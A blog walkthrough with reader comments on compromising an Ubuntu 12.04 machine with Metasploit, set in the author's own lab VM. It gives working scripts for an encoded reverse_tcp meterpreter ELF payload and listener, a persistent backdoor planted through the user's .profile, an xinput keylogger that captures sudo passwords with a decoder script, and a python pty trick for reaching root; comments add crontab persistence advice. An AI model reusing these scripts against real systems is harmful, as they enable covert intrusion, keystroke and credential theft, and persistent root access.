This was a particularly fun exercise and I decided to share the details as well as the scripts that I’ve created and modified from various sources. First of all, there are very few articles describing Metasploit meterpreter used against Linux (Ubuntu in this case) so I decided to fill in the gap and make this walk-trough from the point where the target runs our binary payload to a complete root compromise of the target system. So this is what I have used in my scenario:
- Ubuntu 12.04 LTS 32bit default installation with all updates running inside a VM
- VirtualBox
- Metasploit framework – current
- Debian Squeeze 64bit as my host platform
So first of all I have prepared a simple little binary elf generator in bash to make things easier. Place this file in the Metasploit root folder :
#!/bin/bash clear echo "************************************************" echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT *" echo "************************************************" echo -e "What IP are we gonna use ex. 192.168.0.1? \c" read IP echo -e "What Port Number are we gonna listen to? : \c" read port ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf -e x86/shikata_ga_nai >> Executive echo "Executive binary generated.." chmod u=rwx Executive ls -la Executive
OK now we have an ELF binary called Executive which we will use on the target Ubuntu system.
Next we need to start up a listener for our reverse meterpreter shell, again place this file in the root folder of Metasploit.
#!/bin/bash clear echo "*********************************************" echo " METASPLOIT LINUX METERPRETER LISTENER *" echo "*********************************************" echo "Here is a network device list available on yor machine" cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' echo -e "What network interface are we gonna use ? \c" read interface echo -e "What Port Number are we gonna listen to? : \c" read port # Get OS name OS=`uname` IO="" # store IP case $OS in Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`;; *) IP="Unknown";; esac echo " starting the meterpreter listener.." ./msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E
So once we have the listener interface up and running we can move onto the target Ubuntu system.
I got some feedback regarding how did the executable get to the target in the first place. Well I copied it there myself, being myself as the potential victim. This is not a real world scenario, but rather a simulation of what is possible. I do not wish to get into details on how to push the binary to the user. It is not in the scope of this exercise. But bear in mind that there are a few ways to do it.
Pictures say more than words, so here is a screenshot of the whole process >
So now we are ready to execute the “Unknown” binary on the target computer. When I double click the Executive binary nothing happens, but we get a reverse shell on our listener interface.
So what now ? We have a shell, but we want Root right ? The next few steps get more interesting as we go deeper into the problem.We will plant a backdoor into the home folder of the current user and execute it via the .profile script when the user logs in. So we first download the .profile from the home directory
We modify the .profile locally to include the backdoor by adding a launcher to the Executive binary like so ./.executive & (make sure it is executable)
And finally we upload the modified .profile to the target like so
Next we upload the ELF binary executable to the home folder and rename it it .executive and make sure it is RWX
So now we have a permanent backdoor planted, and every time the target logs in he executes silently the elf binary called .executive in his .profile.
So now what, we have a user shell and we want more, we want root right ? So lets get root.
Ubuntu ships with xinput so we can abuse this as a keylogger and record every keystroke the user inputs while in his X session. I have developed a special set of scripts usable with Metasploit to make the whole process fast and easy. So now we need to upload a keylog.sh script to the target and execute it.
Here is the source for the keylog.sh
#!/bin/bash export DISPLAY=:0.0 xinput list echo -e "KBD ID ?" read kbd xmodmap -pke > /tmp/.xkey.log script -c "xinput test $kbd" | cat >> /tmp/.xkey.log & echo "The keylog can be downloaded from /tmp/.xkey.log" echo "Use the meterpreter download function" echo "Press CTLR+C to exit this session, keylogger will run in backround"
This script is pretty self explanatory, we set the DISPLAY, get the xinput ID for the keyboard, dump the xmodmap to /tmp/.xkey.log and append any keystrokes to the same /tmp/.xkey.log file. We need to download the /tmp/.xkey.log file after a while to see if there are any captured keystrokes and decode it.
So we upload it and run it
We put in the KBD ID in this case it is id=10
And terminate the shell session as the keylogger is running in the background. After a while when we think that the log file with keystrokes is full we download the .xkey.log from the /tmp folder like so
Next we need to decode the content of the .xkey.log so it would be readable. I have created a special decoder script that can do just that. Again the .xkey.log needs to be in the path of the decoder script
#!/bin/sh cat .xkey.log | grep keycode > xmodmap.pke cat .xkey.log | grep 'key p' > xlog rm -f .xkey.log #Generating some Python to do the decoding echo 'import re, collections, sys' > decoder.py echo 'from subprocess import *' >> decoder.py echo 'def keyMap():' >> decoder.py echo ' table = open("xmodmap.pke")' >> decoder.py echo ' key = []' >> decoder.py echo ' for line in table:' >> decoder.py echo " m = re.match('keycoded+) = (.+)', line.decode())" >> decoder.py echo ' if m and m.groups()[1]:' >> decoder.py echo ' key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])' >> decoder.py echo ' return key' >> decoder.py echo 'def printV(letter):' >> decoder.py echo ' key=keyMap();' >> decoder.py echo ' for i in key:' >> decoder.py echo ' if str(letter) == i.split("_____")[1]:' >> decoder.py echo ' return i.split("_____")[0]' >> decoder.py echo ' return letter' >> decoder.py echo 'if len(sys.argv) < 2:' >> decoder.py echo ' print "Usage: %s FILE" % sys.argv[0];' >> decoder.py echo ' exit();' >> decoder.py echo 'else:' >> decoder.py echo ' f = open(sys.argv[1])' >> decoder.py echo ' lines = f.readlines()' >> decoder.py echo ' f.close()' >> decoder.py echo ' for line in lines:' >> decoder.py echo " m = re.match('keyss +(\d+)', line)" >> decoder.py echo ' if m:' >> decoder.py echo ' keycode = m.groups()[0]' >> decoder.py echo ' print (printV(keycode))' >> decoder.py echo 'Please see LOG-keylogger for the output......' python decoder.py xlog > LOG sed ':a;N;$!ba;s/\n/ /g' LOG > LOG-keylogger rm -f LOG rm -f xmodmap.pke rm -f decoder.py rm -f xlog cat LOG-keylogger
So when we run this script (python is needed) we can see something like this:
So if the user does elevate via sudo then we get the password in this log. So how do we do sudo su in the meterpreter shell ? Normally we cannot as you can see here in the screenshot
There is a trick however that can bypass the no TTY problem and that is Python. Python is shipped by default on Ubuntu 12.04 LTS so we can type this:
python -c ‘import pty;pty.spawn(“/bin/bash”)’ and we can elevate to root via sudo su
And that is the end. We now have root and own the box. I hope you have enjoyed reading this as much as I have creating it. CentOS, Debian Squeeze for example do not ship the xinput binary by default, so this attack is not possible.
A quick and dirty solution is just # chmod a-x /path/to/xinput to prevent keyboard sniffing.
UPDATE > even if the xinput binary is not present on the system, we can upload a generic one to the target and execute it via the meterpreter shell. I have tested the Ubuntu 12.04 LTS 32bit xinput against Debian Squeeze 64bit and it works and we can sniff the keyboard.
Here is a video presentation of the above attack
“While we teach, we learn” Seneca
I think you need to mention something about the fact you need to get the Executive binary onto the victims machine in the first place and find a way to have them run it. Without mentioning that the rest of the stuff about meterpreter is a bit redundant as it looks like you already have full GUI access to the victim.
Yes, I guess so. There are a few reliable ways to do that, but that is not the point of the article.
I’m not suggesting show how to do it, just point out that it would need to be done, otherwise, as I say, people who don’t know much about this kind of thing would end up questioning why bother with meterpeter if you already have GUI access and can run applications from the desktop.
Thoughtful, clear directions with a community inspiring quote as a conclusion. Thanks for this thorough breakdown.
Pingback: Security News #0x2A: Thanksgiving Edition « CyberOperations
hello , Astr0baby … articule http://www.itsec.it/2012/10/08/common-preventive-and-reactive-approaches-to-mitigate-exploit-attacks/
bypass ExploitShield
I am looking for Ubuntu blog and i find this in google. Thank you…
Hello! I have a problem, how can I connect to the pernament backdoor, when I power off my pc? “Victim” pc is running, I switch on my pc, run listener, and metasplit stoped on “[*] Starting the payload handler…” and blinking. I have to run .executive manually on “victim” pc to make it work, or reboot “victim” pc and waiting when .executive run again with system startup.
Well, you can try and use a different connect back payload, maybe the reverse_https ?
Check more info here https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
Thank you for answer!
Yeah, but it is only windows script, persistence sciprt also work only with windows, I need linux script, now i thinking about shell script it will be terminate process and start it again after 10 minutes over and over again. It’s not a nice “clean” solution but should be work, ofcourse script will be started with system start. Then even when I will be lost connection I will be must wait only 10 minutes and have it again. What do you think about something like this?
Now I must read about shell programming and check this out, I use linux from years, but never write shell script by myself.
Well, maybe you should first try and get some knowledge behind shell scripting before you attempt to pentest a linuxbox. From what you are asking a simple “at” or “crontab” command might do the trick once you get the initial reverse shell.
seems this is strictly for 32-bit. For 64-bit machines can I use x86_64 instead of x86 in the given scripts?
I did not try this on 64bit linux, but I think the native 64bit payloads are only for reverse shell, no meterpreter Im afraid. But maybe the 32bit emulation would work fine for on the 64bit system and you could just run the 32bit meterpreter payload.
Pingback: Protect Ubuntu system from MSFvenom attacks - ubuntutextbook
Pingback: Protect Ubuntu system from MSFvenom attacks - Gomagento2
Pingback: Protect Ubuntu system from MSFvenom attacks - TUTB